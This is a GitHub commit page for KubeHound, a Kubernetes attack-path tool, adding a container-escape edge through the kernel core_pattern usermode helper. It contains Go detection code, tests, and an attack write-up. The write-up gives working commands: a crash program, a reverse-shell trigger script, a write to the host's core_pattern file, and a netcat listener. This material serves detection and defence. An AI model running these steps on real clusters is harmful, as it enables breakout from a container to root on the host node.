Skip to content

Commit

Permalink
Add CE_UMH_CORE_PATTERN edge (#209)
Browse files Browse the repository at this point in the history
* add securityContext

* fix typo

* update exploitation section

* update monitoring section

* udpate gcc install

* update build path

* update readme

* add core pattern edge

* update groovy entry

* map container with node directly

* update filename

* add edge test

* add dsl test

* generate vertex test

* add root condition

* update links

* fix traversal source test

* add new line

* Update docs/reference/attacks/CE_UMH_CORE_PATTERN.md

Co-authored-by: jt-dd <[email protected]>

* Update docs/reference/attacks/CE_UMH_CORE_PATTERN.md

Co-authored-by: jt-dd <[email protected]>

* Update CONTRIBUTING.md

Co-authored-by: jt-dd <[email protected]>

* resolve merge conflict

* update bash command

* fix typo

* fix typo again

---------

Co-authored-by: jt-dd <[email protected]>
  • Loading branch information
martinvoigt-dd and jt-dd authored Sep 13, 2024
1 parent 9b3f259 commit c532f89
Show file tree
Hide file tree
Showing 9 changed files with 135 additions and 17 deletions.
8 changes: 4 additions & 4 deletions CONTRIBUTING.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,9 +35,9 @@ If a PR sits open for more than a month awaiting work or replies by the author,
To add a new attack to KubeHound, please do the following:

+ Document the attack in the [edges documentation](./docs/reference/attacks) directory
+ Define the attack constraints in the graph database [schema builder](../deployments/kubehound/janusgraph/kubehound-db-init.groovy)
+ Create an implementation of the [edge.Builder](../pkg/kubehound/graph/edge/builder.go) interface that determines whether attacks are possible by quering the store database and writes any found as edges into the graph database
+ Create the [resources](../test/setup/test-cluster/attacks/) file in the test cluster that will introduce an instance of the attack into the test cluster
+ Add an [edge system test](../test/system/graph_edge_test.go) that verifies the attack is correctly created by KubeHound
+ Define the attack constraints in the graph database [schema builder](./deployments/kubehound/graph/kubehound-db-init.groovy)
+ Create an implementation of the [edge.Builder](./pkg/kubehound/graph/edge/builder.go) interface that determines whether attacks are possible by quering the store database and writes any found as edges into the graph database
+ Create the [resources](./test/setup/test-cluster/attacks/) file in the test cluster that will introduce an instance of the attack into the test cluster
+ Add an [edge system test](./test/system/graph_edge_test.go) that verifies the attack is correctly created by KubeHound

See [here](https://github.com/DataDog/KubeHound/pull/68/files) for a previous example PR.
23 changes: 16 additions & 7 deletions docs/reference/attacks/CE_UMH_CORE_PATTERN.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/s
Determine mounted volumes within the container as per [VOLUME_DISCOVER](./VOLUME_DISCOVER.md#checks). If the host `/proc/sys/kernel` (or any parent directory) is mounted, this attack will be possible. Example below.

```bash
$ cat /proc/self/mounts
$ cat /proc/self/mounts

...
proc /hostproc proc rw,nosuid,nodev,noexec,relatime 0 0
Expand All @@ -40,7 +40,7 @@ proc /hostproc proc rw,nosuid,nodev,noexec,relatime 0 0
First find the path of the container’s filesystem on the host. This can be done by retrieving the current mounts (see [VOLUME_DISCOVER](./VOLUME_DISCOVER.md#checks)). Looks for the `upperdir` value of the overlayfs entry associated with containerd:

```bash
$ cat /etc/mtab
$ cat /etc/mtab # or `cat /proc/mounts` depending on the system
...
overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/27/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/work 0 0
...
Expand All @@ -52,7 +52,7 @@ $ OVERLAY_PATH=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapsh
Oneliner alternative:

```bash
export OVERLAY_PATH=$(cat /proc/mounts | grep -oe upperdir=.*, | cut -d = -f 2 | tr -d , | head -n 1)
export OVERLAY_PATH=$(cat /proc/mounts | grep -oe upperdir="[^,]*," | cut -d = -f 2 | tr -d , | head -n 1)
```

Next create a mini program that will crash immediately and generate a kernel coredump. For example:
Expand All @@ -64,10 +64,16 @@ echo 'int main(void) {
buf[i] = 1;
}
return 0;
}' > /tmp/crash.c && gcc -o crash /tmp/crash.c
}' > /tmp/crash.c
```

Compile the program and copy the binary into the container as crash. Next write a shell script to be triggered inside the container’s file system as `shell.sh`:
Compile the program and copy the binary into the container as crash:
```bash
apt update && apt install gcc
gcc -o crash /tmp/crash.c
```

Next write a shell script to be triggered inside the container’s file system as `shell.sh`:

```bash
# Reverse shell
Expand All @@ -80,16 +86,19 @@ chmod a+x /tmp/shell.sh
Finally write the `usermode_helper` script path to the `core_pattern` helper path and trigger the container escape:

```bash
cd /hostproc/sys/kernel
# move to mounted folder with /proc
cd /sysproc
echo "|$OVERLAY_PATH/tmp/shell.sh" > core_pattern
cd
apt install netcat-traditional
sleep 5 && ./crash & nc -l -vv -p 9000
```

## Defences

### Monitoring

+ Use the Datadog agent to monitor for creation of new `usermode_helper` programs via writes to known locations, in this case `/proc/sys/kernel_core_pattern`.
+ Use the Datadog agent to monitor for creation of new `usermode_helper` programs via writes to known locations, in this case `/proc/sys/kernel/core_pattern`.

### Implement security policies

Expand Down
2 changes: 1 addition & 1 deletion docs/reference/attacks/CE_VAR_LOG_SYMLINK.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ A pod running as root and with a mount point to the node’s `/var/log` director

Execution as root within a container process with the host `/var/log/` (or any parent directory) mounted inside the container.

See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/setup/test-cluster/attacks/TOKEN_VAR_LOG_SYMLINK.yaml).
See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/setup/test-cluster/attacks/CE_VAR_LOG_SYMLINK.yaml).

## Checks

Expand Down
2 changes: 1 addition & 1 deletion docs/reference/attacks/VOLUME_DISCOVER.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ Represents an attacker within a container discovering a mounted volume.

## Details

Volumes can contains K8s API tokens or other resources useful to an attacker in building an attack path.
Volumes can contain K8s API tokens or other resources useful to an attacker in building an attack path.

## Prerequisites

Expand Down
98 changes: 98 additions & 0 deletions pkg/kubehound/graph/edge/escape_umh_core_pattern.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
package edge

import (
"context"

"github.com/DataDog/KubeHound/pkg/kubehound/graph/adapter"
"github.com/DataDog/KubeHound/pkg/kubehound/graph/types"
"github.com/DataDog/KubeHound/pkg/kubehound/models/converter"
"github.com/DataDog/KubeHound/pkg/kubehound/models/shared"
"github.com/DataDog/KubeHound/pkg/kubehound/storage/cache"
"github.com/DataDog/KubeHound/pkg/kubehound/storage/storedb"
"github.com/DataDog/KubeHound/pkg/kubehound/store/collections"
"go.mongodb.org/mongo-driver/bson"
)

var ProcMountList = bson.A{
"/",
"/proc",
"/proc/sys",
"/proc/sys/kernel",
}

func init() {
Register(&EscapeCorePattern{}, RegisterDefault)
}

type EscapeCorePattern struct {
BaseContainerEscape
}

func (e *EscapeCorePattern) Label() string {
return "CE_UMH_CORE_PATTERN"
}

func (e *EscapeCorePattern) Name() string {
return "ContainerEscapeCorePattern"
}

func (e *EscapeCorePattern) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) {
return containerEscapeProcessor(ctx, oic, e.Label(), entry)
}

func (e *EscapeCorePattern) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader,
callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error {
containers := adapter.MongoDB(store).Collection(collections.ContainerName)

pipeline := []bson.M{
{
"$match": bson.M{
"k8.securitycontext.runasuser": 0,
"runtime.runID": e.runtime.RunID.String(),
"runtime.cluster": e.runtime.ClusterName,
},
},
{
"$lookup": bson.M{
"as": "procMountContainers",
"from": "volumes",
"let": bson.M{
"rootContainerId": "$container_id",
},
"pipeline": []bson.M{
{
"$match": bson.M{
"$and": bson.A{
bson.M{"$expr": bson.M{
"$eq": bson.A{
"$container_id", "$$rootContainerId",
},
}},
},
"type": shared.VolumeTypeHost,
"source": bson.M{
"$in": ProcMountList,
},
"runtime.runID": e.runtime.RunID.String(),
"runtime.cluster": e.runtime.ClusterName,
},
},
},
},
},
{
"$project": bson.M{
"_id": 1,
"node_id": 1,
},
},
}

cur, err := containers.Aggregate(ctx, pipeline)
if err != nil {
return err
}
defer cur.Close(ctx)

return adapter.MongoCursorHandler[containerEscapeGroup](ctx, cur, callback, complete)
}
4 changes: 3 additions & 1 deletion test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -7,13 +7,15 @@ metadata:
app: kubehound-edge-test
spec:
containers:
- name: umh-core-pod
- name: umh-core-container
image: ubuntu
volumeMounts:
- mountPath: /sysproc
name: nodeproc
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
securityContext:
runAsUser: 0
volumes:
- name: nodeproc
hostPath:
Expand Down
1 change: 1 addition & 0 deletions test/system/graph_dsl_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -115,6 +115,7 @@ func (suite *DslTestSuite) TestTraversalSource_escapes() {
"path[kube-proxy, CE_MODULE_LOAD, Node]",
"path[kube-proxy, CE_PRIV_MOUNT, Node]",
"path[varlog-container, CE_VAR_LOG_SYMLINK, Node]",
"path[umh-core-container, CE_UMH_CORE_PATTERN, Node]",
}

suite.ElementsMatch(escapes, expected)
Expand Down
8 changes: 8 additions & 0 deletions test/system/graph_edge_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -130,6 +130,14 @@ func (suite *EdgeTestSuite) TestEdge_CE_SYS_PTRACE() {
suite._testContainerEscape("CE_SYS_PTRACE", DefaultContainerEscapeNodes, containers)
}

func (suite *EdgeTestSuite) TestEdge_CE_UMH_CORE_PATTERN() {
containers := map[string]bool{
"umh-core-container": true,
}

suite._testContainerEscape("CE_UMH_CORE_PATTERN", DefaultContainerEscapeNodes, containers)
}

func (suite *EdgeTestSuite) TestEdge_CONTAINER_ATTACH() {
// Every container should have a CONTAINER_ATTACH incoming from a pod
rawCount, err := suite.g.V().
Expand Down
6 changes: 3 additions & 3 deletions test/system/vertex.gen.go
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
// PLEASE DO NOT EDIT
// THIS HAS BEEN GENERATED AUTOMATICALLY on 2023-11-01 10:47
// THIS HAS BEEN GENERATED AUTOMATICALLY on 2024-06-19 15:03
//
// Generate it with "go generate ./..."
//
Expand Down Expand Up @@ -967,9 +967,9 @@ var expectedContainers = map[string]graph.Container{
// Node: "",
Compromised: 0,
},
"umh-core-pod": {
"umh-core-container": {
StoreID: "",
Name: "umh-core-pod",
Name: "umh-core-container",
Image: "ubuntu",
Command: []string{},
Args: []string{},
Expand Down

0 comments on commit c532f89

Please sign in to comment.